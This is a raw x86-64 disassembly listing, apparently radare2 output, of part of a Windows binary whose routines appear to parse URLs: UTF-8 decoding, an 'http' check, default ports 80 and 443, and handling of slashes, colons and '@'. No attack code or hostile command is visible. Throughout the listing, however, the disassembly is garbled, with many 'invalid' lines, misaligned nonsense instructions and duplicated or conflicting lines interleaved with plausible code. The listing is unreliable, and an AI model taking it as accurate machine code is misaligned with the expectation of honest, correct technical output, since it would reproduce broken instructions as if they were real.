movaps xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x60], rdx
and al, 0x60
mov qword [rsp + 0x58], rax
pop rax
mov dword [rsp + 0x50], r15d
lea rax, [rsp + 0x1a7]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
sub byte [rcx + rcx*4 + 0x7c], al
and al, 0x20
mov word [rsp + 0x40], 0
and al, 0x40
add byte [rax], al
lea rdx, [rsp + 0x70]
mov r8b, 2
jo 0x1400f7eff
mov al, 2
mov r9d, r14d
call fcn.1400fb120
jmp 0x1400f80cb
jne case.0x1400d7dc5.372
sbb al, 0xfd
invalid
test r14, r14
je 0x1400f7f03
cmp r14, rax
jae 0x1400f7f01
lea rcx, [0x140172ec8]
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
xor r8d, r8d
mov r9, r14
call fcn.140108ac0
add dword [rax], eax
jne 0x1400f7ee4
cmp r14, r9
jne 0x1400f7f18
mov r12, qword [rsp + 0xf0]
test r12, r12
je 0x1400f805f
mov rsi, qword [rsp + 0xf8]
mov qword [rsp + 0x70], 0
add byte [rax - 0x39], cl
and al, 0x70
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x78], 1
and al, 0x78
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x80], 0
lea r13, [rsp + 0x70]
insb byte [rdi], dx
and al, 0x70
insb byte [rdi], dx
and al, 0x70
jmp 0x1400f7f5e
lea eax, [rbp - 9]
cmp eax, 2
jae 0x1400f7fce
cmp rbx, rdi
cmp ebx, edi
je 0x1400f801b
movzx edx, byte [rbx]
movzx ebp, dl
test bpl, bpl
js 0x1400f7f77
jmp 0x1400f7fe0
add dword [rcx - 0x7d], eax
loopne 0x1400f7fc4
cmp bpl, 0xdf
jbe 0x1400f7fc0
movzx ecx, byte [rbx + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, eax
or ecx, eax
cmp dl, 0xf0
jb case.0x1400e1dbf.118
movzx ebp, byte [rbx + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and ebp, 0x3f
or ebp, ecx
or ebp, eax
cmp ebp, 0x110000
je 0x1400f801b
invalid
add rbx, 4
add ebx, 4
jmp 0x1400f7fe0
add rbx, 2
add ebx, 2
shl eax, 6
or eax, r8d
mov ebp, eax
jmp 0x1400f7fe0
invalid
adc al, byte [rbx - 0x748bf203]
cmp ebp, 0xd
je 0x1400f7f5e
jmp 0x1400f801b
add rbx, 3
add rbx, 3
shl eax, 0xc
or ecx, eax
mov ebp, ecx
cmp ebp, 0x2e
std
jle 0x1400f7f56
jle 0x1400f7f56
jle 0x1400f7f56
inc dword [rbx + 0x11742ffd]
cmp ebp, 0x2f
je case.0x1400b958a.1164
invalid
cmp ebp, 0x110000
je 0x1400f7f5e
test byte [rdi + rdi*8 - 1], ah
invalid
add byte [rcx], dl
add byte [rdi], cl
test byte [rdi + rdi*8 - 1], ah
inc dword [rbx + 0x1c755cfd]
cmp ebp, 0x5c
jne 0x1400f801b
mov rcx, r13
mov edx, ebp
invalid
invalid
call fcn.1400f6c10
cmp ebp, 0x2f
je 0x1400f7f5e
invalid
invalid
invalid
invalid
invalid
invalid
test byte [rdi + rdi*8 - 1], cl
inc dword [rbx - 0x7bf0a303]
std
pop rsp
invalid
invalid
invalid
invalid
cmp ebp, 0x5c
std
pop rsp
je 0x1400f7f5e
mov rax, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
mov eax, dword [rsp + 0x78]
mov bl, 1
cmp qword [rsp + 0x80], 2
jne 0x1400f803f
stc
invalid
setne bl
test rax, rax
je 0x1400f8053
add byte [rbx + rbx*8 - 0x76b3f78c], al
loope 0x1400f800d
add edi, edi
push rsi
sub byte [rax - 0x75], cl
test byte [rax + rax], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rdi], cl
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xb0], rax
movaps xmm0, xmmword [rsp + 0xc0]
sub byte [rsp + 0xc0], al
sub byte [rsp + 0xc0], al
movaps xmm1, xmmword [rsp + 0xd0]
movaps xmm2, xmmword [rsp + 0xe0]
movaps xmm3, xmmword [rsp + 0xf0]
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xa0], ebx
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x28], r14d
mov byte [rsp + 0x20], 1
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
and al, 0x68
and al, 0x68
mov r8, r15
mov r9, rdi
call fcn.1400f83f0
nop
add rsp, 0x1b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0xd0], 0
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xb0], rax
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmm1, xmmword [rsp + 0xe0]
movaps xmm2, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0xa0], xmm2
xchg esp, eax
and al, 0xa0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x90], ecx
add byte [rax], al
xchg esp, eax
and al, 0xa0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x90], ecx
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x80], eax
mov dword [rsp + 0x80], eax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x88], rax
movaps xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x28], r12
mov byte [rsp + 0x20], 1
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
mov r8, rbx
jmp 0x1400f77cd
mov edx, 0x83480015
sar dh, 0x48
cmp eax, 3
ja 0x1400f81ad
lea r8, [0x140179b08]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
loopne 0x1400f81a1
mov bh, 1
cmp eax, 0x7377
ja 0x1400f820a
add byte [rax], al
ja 0x1400f820a
add byte [rax], al
jne 0x1400f81ad
mov al, 1
mov dx, 0x50
movzx eax, al
rol bl, 0x81
cmp dword [rax + 0x74], ebp
je 0x1400f821b
ret
cmp dword [rcx], 0x70747468
je 0x1400f819b
xor eax, eax
movzx eax, al
ret
jae 0x1400f81cb
or ecx, eax
sete al
mov ecx, 0x1bb
invalid
add dword [rax], eax
invalid
ror dword [rdi], 0x94
sar byte [rcx + 0x1bb], 0xba
mov ebx, 0xba000001
mov ebx, 0xba000001
mov edx, 0x15
cmove edx, ecx
movzx eax, al
adc eax, 0xf000000
ror dword [rdi], 1
mov dh, 0xc0
ret
jae 0x1400f81de
add byte [rax], al
movzx r8d, byte [rcx + 2]
xor r8d, 0x73
or r8w, ax
je 0x1400f8212
add byte [rdi + rcx - 0x4a], al
add al, byte [r9 - 0x7d]
invalid
movzx eax, word [rcx]
rol ax, 8
movzx r8d, ax
rol byte [rcx - 0x7f], 0xf8
je 0x1400f8264
add byte [rax], al
rol byte [rcx - 0x7f], 0xf8
je 0x1400f8264
add byte [rax], al
jne 0x1400f821c
movzx eax, byte [rcx + 2]
add eax, 0xffffff90
test eax, eax
sete al
xchg esp, eax
ror byte [rdi], 0xb6
invalid
ret
ror byte [rdi], 0x94
xchg esp, eax
ror byte [rdi], 0xb6
rol bl, 0xb0
add dword [rsi - 0x46], esp
mov ebx, 0xc0b60f01
mov al, 1
mov dx, 0x1bb
movzx eax, al
ret
xor eax, eax
cmp r8d, 0x6674
sbb eax, eax
or eax, 1
enter 0xffffffffffff8501, 0xffffffffffffffc0
enter 0xffffffffffff8501, 0xffffffffffffffc0
add dword [rbp - 0x3f6bf040], eax
sete al
movzx eax, al
ret
push r15
push r14
push r12
push rsp
push rsi
push rdi
push rbp
push rbx
add rdx, rcx
mov rsi, qword [r8]
mov r9, qword [r8 + 8]
mov r10d, 0x2600
add byte [rax], al
add byte [rax], al
jmp 0x1400f826f
invalid
mov rax, r9
mov rsi, rax
mov esi, eax
cmp r11d, edi
jne 0x1400f83db
mov al, 1
cmp rcx, rdx
je case.0x1400df1d7.128
add byte [rax], al
movzx ebp, byte [rcx]
movzx r11d, bpl
test r11b, r11b
js 0x1400f8290
inc rcx
jmp 0x1400f8321
invalid
add byte [rsi - 0x70], ah
mov edi, r11d
and edi, 0x1f
movzx r14d, byte [rcx + 1]
and r14d, 0x3f
cmp r11b, 0xdf
jbe 0x1400f82e4
movzx ebx, byte [rcx + 2]
shl r14d, 6
add al, byte [rcx - 0x3f]
out 6, al
and ebx, 0x3f
or ebx, r14d
cmp bpl, 0xf0
jb 0x1400f82f3
movzx r11d, byte [rcx + 3]
and edi, 7
invalid
invalid
shl edi, 0x12
shl ebx, 6
and r11d, 0x3f
or r11d, ebx
or r11d, edi
cmp r11d, 0x110000
je case.0x1400df1d7.128
add byte [rax], al
add rcx, 4
jmp 0x1400f8321
add rcx, 2
shl edi, 6
or edi, r14d
mov r11d, edi
jmp 0x1400f8321
add rcx, 3
shl edi, 0xc
or ebx, edi
mov r11d, ebx
jmp 0x1400f8321
mov edi, ebx
mov rsi, rax
cmp edi, 0x110000
jne 0x1400f8263
mov edi, 0x110000
cmp rsi, r9
invalid
je case.0x1400dbf15.229
invalid
lea rax, [rsi + 1]
mov qword [r8], rax
movzx r14d, byte [rsi]
movzx ebx, r14b
test bl, bl
jns 0x1400f83b0
mov ebp, ebx
and ebp, 0x1f
lea rax, [rsi + 2]
mov qword [r8], rax
movzx r12d, byte [rsi + 1]
and r12d, 0x3f
cmp bl, 0xdf
jbe 0x1400f83a3
lea rax, [rsi + 3]
mov qword [r8], rax
movzx r15d, byte [rsi + 2]
shl r12d, 6
and r15d, 0x3f
or r15d, r12d
cmp r14b, 0xf0
invalid
invalid
jb case.0x1400dd260.139
invalid
lea rax, [rsi + 4]
mov qword [r8], rax
movzx ebx, byte [rsi + 3]
and ebp, 7
shl ebp, 0x12
shl r15d, 6
and ebx, 0x3f
invalid
or ebx, r15d
or ebx, ebp
cmp ebx, 0x110000
jne 0x1400f83b0
invalid
jmp 0x1400f8263
shl ebp, 6
or ebp, r12d
mov ebx, ebp
nop dword [rax + rax]
invalid
add byte [rax], r8b
invalid
add byte [rax], r8b
cmp ebx, 0xd
ja 0x1400f8310
bt r10d, ebx
jb 0x1400f8312
jmp 0x1400f8310
shl ebp, 0xc
or r15d, ebp
or edi, ebp
or edi, ebp
mov ebx, r15d
cmp ebx, 0xd
jbe 0x1400f83b9
jmp 0x1400f8310
invalid
xor eax, eax
rcr byte [rbx + 0x5d], 0x5f
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x138
mov r14, r9
mov r15, r8
mov rsi, rdx
mov qword [rsp + 0x128], rcx
mov rcx, qword [rdx + 0x10]
cmp rcx, qword [rdx]
cmp ecx, dword [rdx]
cmp ecx, dword [rdx]
jne case.0x1400f0796.109
mov rcx, rsi
call fcn.1400ba070
mov rcx, qword [rsi + 0x10]
mov rax, qword [rsi + 8]
mov byte [rax + rcx], 0x2f
inc rcx
mov qword [rsi + 0x10], rcx
cmp rcx, qword [rsi]
jne 0x1400f8449
mov rcx, rsi
call fcn.1400ba070
dec dword [rax - 0x75]
invalid
invalid
dec dword [rax - 0x75]
adc byte [rax - 0x75], r9b
or sil, r8b
add al, 8
invalid
mov rax, qword [rsi + 8]
mov byte [rax + rcx], 0x2f
inc rcx
mov qword [rsp + 0xa8], rcx
mov qword [rsi + 0x10], rcx
mov r12, qword [rsi + 0x30]
mov qword [rsp + 0x90], rsi
mov rdi, qword [rsi + 0x38]
xor ebx, ebx
lea r13, [0x140179b18]
mov ebp, 0x2600
mov rsi, r15
xor eax, eax
mov qword [rsp + 0x98], rax
cmp rsi, r14
jne 0x1400f84b7
jmp 0x1400f85f4
mov ecx, eax
cmp ecx, 0x110000
add byte [rdi], cl
test esp, ecx
add byte [rax], al
invalid
add byte [rdi], cl
test esp, ecx
add byte [rax], al
add byte [rcx + rdi - 0xa], cl
cmp rsi, r14
je 0x1400f85f4
movzx r8d, byte [rsi]
movzx eax, r8b
test al, al
js 0x1400f84e0
inc rsi
cmp eax, 0xd
jbe 0x1400f8560
jmp 0x1400f84a0
mov ecx, eax
and ecx, 0x1f
movzx r9d, byte [rsi + 1]
and r9d, 0x3f
cmp al, 0xdf
jbe 0x1400f8533
movzx edx, byte [rsi + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x1400f8549
movzx eax, byte [rsi + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and eax, 0x3f
or eax, edx
or eax, ecx
cmp eax, 0x110000
je 0x1400f85f4
add rsi, 4
cmp eax, 0xd
jbe 0x1400f8560
jmp 0x1400f84a0
add rsi, 2
shl ecx, 6
or ecx, r9d
mov eax, ecx
cmp eax, 0xd
jbe 0x1400f8560
jmp 0x1400f84a0
add rsi, 3
shl ecx, 0xc
or edx, ecx
mov eax, edx
cmp eax, 0xd
ja 0x1400f84a0
nop dword [rax]
mov ecx, 0x110000
bt ebp, eax
jae 0x1400f84a0
invalid
invalid
invalid
cmp ecx, 0x110000
je 0x1400f84ae
lea eax, [rcx - 0x23]
cmp eax, 0x1d
ja case.default.0x1400f858a
movsxd rax, dword [r13 + rax*4]
add rax, r13
jmp rax
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rcx + rdi - 0xa], cl
jne 0x1400f84b7
jmp 0x1400f85f4
cmp ecx, 0x5c
jne 0x1400f85d9
cmp byte [rsp + 0x1a0], 2
jne 0x1400f85f4
add byte [rax], al
add dh, byte [rbp + 0x1b]
mov rax, qword [rsp + 0x98]
mov eax, dword [rsp + 0x98]
inc ebx
mov qword [rsp + 0x98], rax
cmp rsi, r14
jne 0x1400f84b7
mov rsi, qword [rsp + 0x98]
test rsi, rsi
je 0x1400f897c
add eax, dword [rax]
invalid
mov ah, 0x24
cwde
add byte [rax], al
add byte [rax - 0x7b], cl
test byte [rdi], 0x84
ja 0x1400f8606
invalid
add eax, dword [rax]
add byte [rbp - 0x7b], al
ror byte [rax - 0x75], cl
pushfq
and al, 0x90
add byte [rax], al
add byte [rdi], cl
test byte [rbx + rax - 0x71f10000], dl
xchg esp, eax
add eax, dword [rax]
add byte [rdi], cl
invalid
mov ebx, 0x31000004
ror byte [rax - 0x77], 0x44
mov qword [rsp + 0x70], rax
add byte [rax], al
test r10d, r10d
test edx, edx
mov rbx, qword [rsp + 0x90]
je case.0x1400dc507.183
xchg esp, eax
add eax, dword [rax]
invalid
xchg esp, eax
add eax, dword [rax]
add byte [rdi], cl
invalid
jle 0x1400f8ad7
xor eax, eax
mov qword [rsp + 0x70], rax
mov esi, 0x2600
mov rbp, qword [rsp + 0xa8]
mov r12, rbp
xor eax, eax
mov qword [rsp + 0xb0], rax
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rbp + 0x31], al
fucomi st(3)
invalid
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rbp + 0x31], al
fucomi st(3)
nop word [rax + rax]
test byte [rsp + 0xb0], 1
add byte [rcx], al
mov rax, qword [rsp + 0x70]
movzx eax, al
mov ecx, 1
add byte [rax], al
add byte [rdi], cl
ror dword [rax - 0x77], 0x44
and al, 0x70
mov rdi, qword [rsp + 0xb8]
mov r11d, dword [rsp + 0xa0]
lea eax, [rdi - 1]
cmp edi, 1
mov r10d, eax
jle 0x1400f8af6
mov qword [rsp + 0xb8], r10
cmp r15, r14
mov eax, 0x4d000000
cmp edi, esi
je 0x1400f9b22
mov rax, r15
movzx edx, byte [rax]
movzx r8d, dl
ret 0x8445
invalid
js 0x1400f86c0
lea r15, [rax + 1]
cmp r8d, 0xd
jbe 0x1400f8740
js 0x1400f86b1
jmp 0x1400f8760
mov ecx, r8d
and ecx, 0x1f
movzx r9d, byte [rax + 1]
and r9d, 0x3f
mov dh, 0x48
add dword [rcx - 0x7d], eax
loope case.0x1400d8e64.350
cmp r8b, 0xdf
jbe case.0x1400792d3.1583
fbstp tbyte [rsi + 0x3a]
movzx r8d, byte [rax + 2]
shl r9d, 6
invalid
and r8d, 0x3f
invalid
or r8d, r9d
cmp dl, 0xf0
enter 0xfffffffffffffa80, 0xfffffffffffffff0
jb 0x1400f8724
lea r15, [rax + 4]
movzx edx, byte [rax + 3]
and ecx, 7
shl ecx, 0x12
shl r8d, 6
shl eax, 6
shl eax, 6
invalid
and edx, 0x3f
or edx, r8d
or edx, ecx
mov r8d, edx
cmp r8d, 0xd
invalid
jbe 0x1400f8740
invalid
or eax, 0x51eb3376
jmp 0x1400f8760
push rcx
lea r15, [rax + 2]
shl ecx, 6
invalid
or ecx, r9d
mov r8d, ecx
mov eax, ecx
invalid
mov eax, ecx
cmp r8d, 0xd
jbe 0x1400f8740
jmp 0x1400f8760
lea r15, [rax + 3]
shl ecx, 0xc
loope 0x1400f8737
js 0x1400f872b
loope 0x1400f8737
or r8d, ecx
cmp r8d, 0xd
invalid
ja 0x1400f8760
or eax, 0x66662c77
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
bt esi, r8d
jae 0x1400f8760
invalid
sbb cl, byte [rcx + rcx*4 - 8]
mov rax, r15
cmp r15, r14
jne 0x1400f86a0
jmp 0x1400f9b22
cmp r8d, 0x110000
cmp eax, 0x110000
je 0x1400f9b22
add byte [rax], al
cmp r8d, 0x800
jb case.0x1400d8e64.352
add byte [rax], al
sbb r13, 0
mov rdx, r14
sub rdx, rax
cmp r13, rdx
jae 0x1400f87c0
cmp byte [rax + r13], 0xbf
jg 0x1400f87c6
jmp 0x1400f9b74
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
jne 0x1400f9b74
scasb al, byte [rdi]
adc eax, dword [rax]
add byte [rcx - 0x7f], al
clc
add byte [rax], al
adc dword [rax], eax
cmp r8d, 0x110000
je 0x1400f9b22
test byte [rdi + 0x13], cl
add byte [rax], al
invalid
cmp r8d, 0x3a
jne 0x1400f8850
cmp r11d, 1
cmp ebx, 1
je 0x1400f8850
mov rax, rbp
shr rax, 0x20
jne 0x1400f8bcf
add eax, dword [rax]
invalid
mov rdi, qword [rsp + 0xb8]
cmp edi, 1
add dword [rdi], ecx
test byte [rcx], ah
add eax, dword [rax]
invalid
add dword [rdi], ecx
test byte [rcx], ah
add eax, dword [rax]
add byte [rcx - 0x77], cl
mov r12, rbp
mov r12, rbp
mov esp, ebp
cmp rbp, qword [rbx]
jne 0x1400f8811
mov rcx, rbx
call fcn.1400ba070
mov r12, qword [rbx + 0x10]
mov rax, qword [rbx + 8]
mov eax, dword [rbx + 8]
mov byte [rax + r12], 0x3a
inc r12
mov qword [rbx + 0x10], r12
mov al, 1
mov qword [rsp + 0xb0], rax
and al, 0xb0
add byte [rax], al
add byte [rcx - 0x45], al
add dword [rax], eax
add byte [rax], al
and al, 0xb0
add byte [rax], al
add byte [rcx - 0x45], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x130], rbp
mov rbp, r12
add dword [rax], eax
add byte [rcx + rcx*4 - 0x1b], cl
lea eax, [rdi - 1]
cmp edi, 1
mov r10d, eax
jg 0x1400f868c
jmp 0x1400f8af6
add byte [rax], al
mov dword [rsp + 0xa0], r11d
mov rcx, qword [rbx + 0x30]
mov rdx, qword [rbx + 0x38]
push rbx
cmp byte [rcx + rcx*4 + 0x74], cl
and al, 0x20
push rbx
cmp byte [rcx + rcx*4 + 0x74], cl
and al, 0x20
mov rdi, rax
mov r9, r15
call fcn.1400fe220
mov rdx, rdi
jmp case.0x1400db5fd.341
test byte [rax], al
add byte [rax], al
add byte [rax], al
inc rdx
dec r13
dec ebp
dec ebp
mov rbp, rdx
lea rax, [rax + rax*2]
lea rcx, [0x14013cf3c]
add al, 0
add al, 0
add rax, rcx
mov rdi, r13
enter 0xffffffffffff894c, 0xffffffffffffffef
mov r13d, 3
add byte [rax], al
mov rdx, rax
mov rax, qword [rbx]
sub rax, r12
cmp rax, r13
cmp eax, ebp
cmp eax, ebp
jb 0x1400f8957
mov rcx, qword [rbx + 8]
add rcx, r12
or byte [r9 + r8 - 0x1f], cl
or byte [rcx + rax - 0x1f], cl
mov r8, r13
mov eax, ebp
call fcn.140106530
add r12, r13
add esp, ebp
add esp, ebp
mov qword [rbx + 0x10], r12
mov r13, rdi
mov rdx, rbp
mov rbp, r12
invalid
invalid
in eax, 0x4d
test ebp, ebp
test r13, r13
lea r10, [0x140172f60]
adc eax, 0x7a685
add byte [rdi], cl
test byte [rdi - 3], ch
invalid
je 0x1400f8650
movzx eax, byte [rdx]
mov dh, 2
movzx eax, al
mov dh, 0xc0
test al, al
js 0x1400f8880
xchg ebp, eax
xchg ebp, eax
mov ecx, eax
rol ecx, 0xe9
add eax, 0x8a0c8b41
shr ecx, 5
mov ecx, dword [r10 + rcx*4]
bt ecx, eax
jb 0x1400f8880
sal dword [rdx - 0x79], 0xbd
add dword [rax], eax
add byte [rax], al
mov ebp, 1
mov ecx, 1
add byte [rax], al
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp r13, rcx
je case.0x1400dbe39.243
int 0x74
cmp ecx, dword [rax - 0x77]
enter 0xffffffffffffb60f, 0xc
or al, byte [rcx + rcx*8 + 0xf441878]
leave
js 0x1400f8938
invalid
invalid
mov rax, rcx
movzx ecx, byte [rdx + rcx]
test cl, cl
leave
leave
js 0x1400f8938
movzx r8d, cl
mov dh, 0xc1
mov ecx, r8d
shr ecx, 5
mov r9d, dword [r10 + rcx*4]
lea rcx, [rax + 1]
bt r9d, r8d
jae 0x1400f8910
add dword [rbp + 0xf], eax
movabs dword [0x820fc52949d873c1], eax
sub ebp, eax
invalid
invalid
in eax, dx
sub r13, rax
sub ebp, eax
jb 0x1400f9b2e
adc dword [rax], eax
add byte [rax - 0x73], cl
sub al, 2
lea rbp, [rdx + rax]
mov rdi, r13
mov r13, rax
invalid
jmp 0x1400f88a3
invalid
invalid
invalid
invalid
invalid
xor edi, edi
jmp 0x1400f88a3
invalid
invalid
invalid
invalid
invalid
invalid
dec dword [rax - 0x77]
invalid
mov rcx, rbx
mov rbx, rdx
mov rdx, r12
mov r8, r13
call 0x14111c24f
invalid
call 0x14111c24f
add byte [rax - 0x77], cl
mov rdx, rbx
invalid
invalid
add dword [rax], eax
mov rdx, rbx
mov edx, ebx
mov rbx, qword [rsp + 0x90]
mov r12, qword [rbx + 0x10]
jmp 0x1400f88b2
pushfq
and al, 0x90
add byte [rax], al
add byte [rbx + rcx*4 + 0x63], cl
adc cl, ch
invalid
mov rcx, qword [rsp + 0xa8]
mov rax, rcx
mov eax, ecx
enter 0xffffffffffffc148, 0xffffffffffffffe8
and byte [rax - 0x75], cl
pushfq
and al, 0x90
add byte [rax], al
shr rax, 0x20
shr eax, 0x20
mov rbx, qword [rsp + 0x90]
jne 0x1400f8bcf
add byte [rdi], cl
test dword [rsi], esi
add al, byte [rax]
add byte [rcx + 0x4c78244c], cl
invalid
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x80], r15
mov dword [rsp + 0x80], edi
add cl, ch
fld dword [rcx]
add byte [rax], al
jmp 0x1400f8b83
mov eax, 0x2600
mov rcx, rsi
jmp 0x1400f89d0
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov r8d, edx
cmp r8d, 0x110000
add byte [rax], al
adc dword [rax], eax
jne 0x1400f8aac
add byte [rax], al
add byte [rcx + rdi - 0xf], cl
add byte [rax], al
cmp rcx, r14
cmp ecx, esi
je 0x1400f8bb8
movzx r10d, byte [rcx]
movzx edx, r10b
adc dword [rcx + 0xf], eax
mov dh, 0xd2
test dl, dl
js 0x1400f8a00
sar byte [rax + 0x1b], cl
inc rcx
cmp edx, 0xd
or eax, 0x9f860f
add byte [rax], al
or eax, 0x9f860f
add byte [rax], al
jmp case.0x1400d7dc5.489
mov r8d, edx
mov eax, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
pop rcx
add dword [rcx - 0x7d], eax
jrcxz 0x1400f8a4f
pop rcx
add dword [rcx - 0x7d], eax
jrcxz 0x1400f8a4f
cmp dl, 0xdf
jbe case.0x1400f0796.138
fbstp tbyte [rsi + 0x49]
movzx r9d, byte [rcx + 2]
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x1400f8a76
movzx edx, byte [rcx + 3]
and r8d, 7
add eax, dword [rcx - 0x7d]
loopne 0x1400f8a3a
shl r8d, 0x12
shl r9d, 6
shl ecx, 6
shl ecx, 6
invalid
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
je 0x1400f8bb8
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
rol dword [rbx + rax*4], 0xfa
or eax, 0x62e93776
jbe 0x1400f8a90
invalid
invalid
invalid
add rcx, 4
cmp edx, 0xd
jbe 0x1400f8a90
jmp case.0x1400d7dc5.489
add rcx, 2
shl r8d, 6
or r8d, r11d
mov edx, r8d
cmp edx, 0xd
invalid
jbe 0x1400f8a90
invalid
or eax, 0x4ae91f76
invalid
jmp case.0x1400d7dc5.489
invalid
add rcx, 3
rol dword [rbx], 0x41
shl eax, 0xc
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
cmp edx, 0xd
cli
or eax, 0xff33870f
invalid
invalid
cli
or eax, 0xff33870f
invalid
nop dword [rax]
add byte [rcx - 0x48], al
add byte [rax], al
adc dword [rax], eax
mov r8d, 0x110000
bt eax, edx
jae case.0x1400d7dc5.489
cmp r8d, 0x110000
cmp eax, 0x110000
je 0x1400f89d0
inc dword [rcx - 0x7d]
clc
invalid
cmp r8d, 0x3f
ja 0x1400f8ba4
out dx, al
add byte [rax], al
invalid
out dx, al
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], al
mov eax, r8d
movabs rcx, 0x8000800800000000
add byte [rax], al
add byte [rax], cl
add byte [rax], 0x80
add byte [rax], al
or byte [rax + 0xf488000], al
movabs dword [0xc6000000d7830fc1], eax
and al, 0x78
add cl, ch
std
add byte [rax], al
bt rcx, rax
jae 0x1400f8ba4
mov byte [rsp + 0x78], 0
jmp 0x1400f8bd4
add byte [rax - 0x75], cl
test byte [rax + rbp*4], ah
mov rax, qword [rsp + 0xa8]
shr rax, 0x20
jne 0x1400f8bcf
add byte [rax], al
add byte [rax - 0x3f], cl
call 0x126949a06
and byte [rdi], cl
test esi, esp
add byte [rax], al
add byte [rax - 0x75], cl
lodsb al, byte [rsi]
mov rbp, qword [rsp + 0xa8]
and al, 0xa8
add byte [rax], al
add cl, ch
test al, 0
add byte [rax], al
jmp 0x1400f8b77
add dword [rax], 0x8b480000
and al, 0x70
mov rax, qword [rsp + 0x70]
or al, byte [rsp + 0xb0]
mov al, 0
add byte [rax], al
test al, 1
sete al
test r11d, r11d
fisttp dword [rax - 0x75]
mov ah, 0x24
cwde
add byte [rax], al
invalid
fisttp dword [rax - 0x75]
mov ah, 0x24
cwde
add byte [rax], al
add byte [rsi + riz + 0x48], dh
je 0x1400f8b3a
mov rdi, qword [rsp + 0x130]
je 0x1400f8b3a
mov rdi, qword [rsp + 0x130]
jmp 0x1400f8b4b
sub eax, 0x24448b48
mov rax, qword [rsp + 0x70]
jo case.0x1400f0796.222
or al, byte [rsp + 0xb0]
mov edi, ebp
test al, 1
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rcx + 0x4801a8ef], cl
mov esi, dword [rsp + 0x98]
mov rsi, qword [rsp + 0x98]
jne 0x1400f8b51
jmp 0x1400f8b77
cmp eax, 0x107b8b48
mov rdi, qword [rbx + 0x10]
mov rcx, rdi
shr rcx, 0x20
jne 0x1400f8bcf
test byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
mov ebp, edi
test al, al
jne 0x1400f8b77
mov rax, qword [rbx + 0x10]
cmp rax, qword [rbx]
jne 0x1400f8b66
invalid
or al, 0x48
mov ecx, ebx
mov rcx, rbx
call fcn.1400ba070
mov rax, qword [rbx + 0x10]
mov eax, dword [rbx + 0x10]
cld
dec dword [rax - 0x75]
mov eax, dword [rbx + 0x10]
mov rcx, qword [rbx + 8]
invalid
mov rcx, qword [rbx + 8]
mov byte [rcx + rax], 0x40
inc rax
or dh, al
add al, 1
inc rax
mov qword [rbx + 0x10], rax
mov ebp, edi
mov dword [rsp + 0x78], ebp
mov qword [rsp + 0x80], rsi
mov dword [rsp + 0x80], esi
mov eax, 0x10
mov qword [rsp + rax + 0x78], r14
mov rdx, qword [rsp + 0x80]
test rdx, rdx
invalid
sal byte [rbp + 0x54], cl
jne case.0x1400f7740.38
movzx ebp, byte [rsp + 0x78]
jmp 0x1400f9814
cmp byte [rsp + 0x1a0], 2
add byte [rdx], al
je 0x1400f8bb8
cmp r8d, 0x5c
je 0x1400f8acd
mov rcx, qword [rsp + 0xa8]
mov rax, rcx
shr rax, 0x20
jne 0x1400f8bcf
invalid
invalid
mov dword [rsp + 0x78], ecx
jmp 0x1400f8b7b
mov byte [rsp + 0x78], 9
mov eax, 8
xor r14d, r14d
mov qword [rsp + rax + 0x78], r14
mov rdx, qword [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
je 0x1400f8b9a
and al, 0x80
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rsp + rbp*4 + 0x48], cl
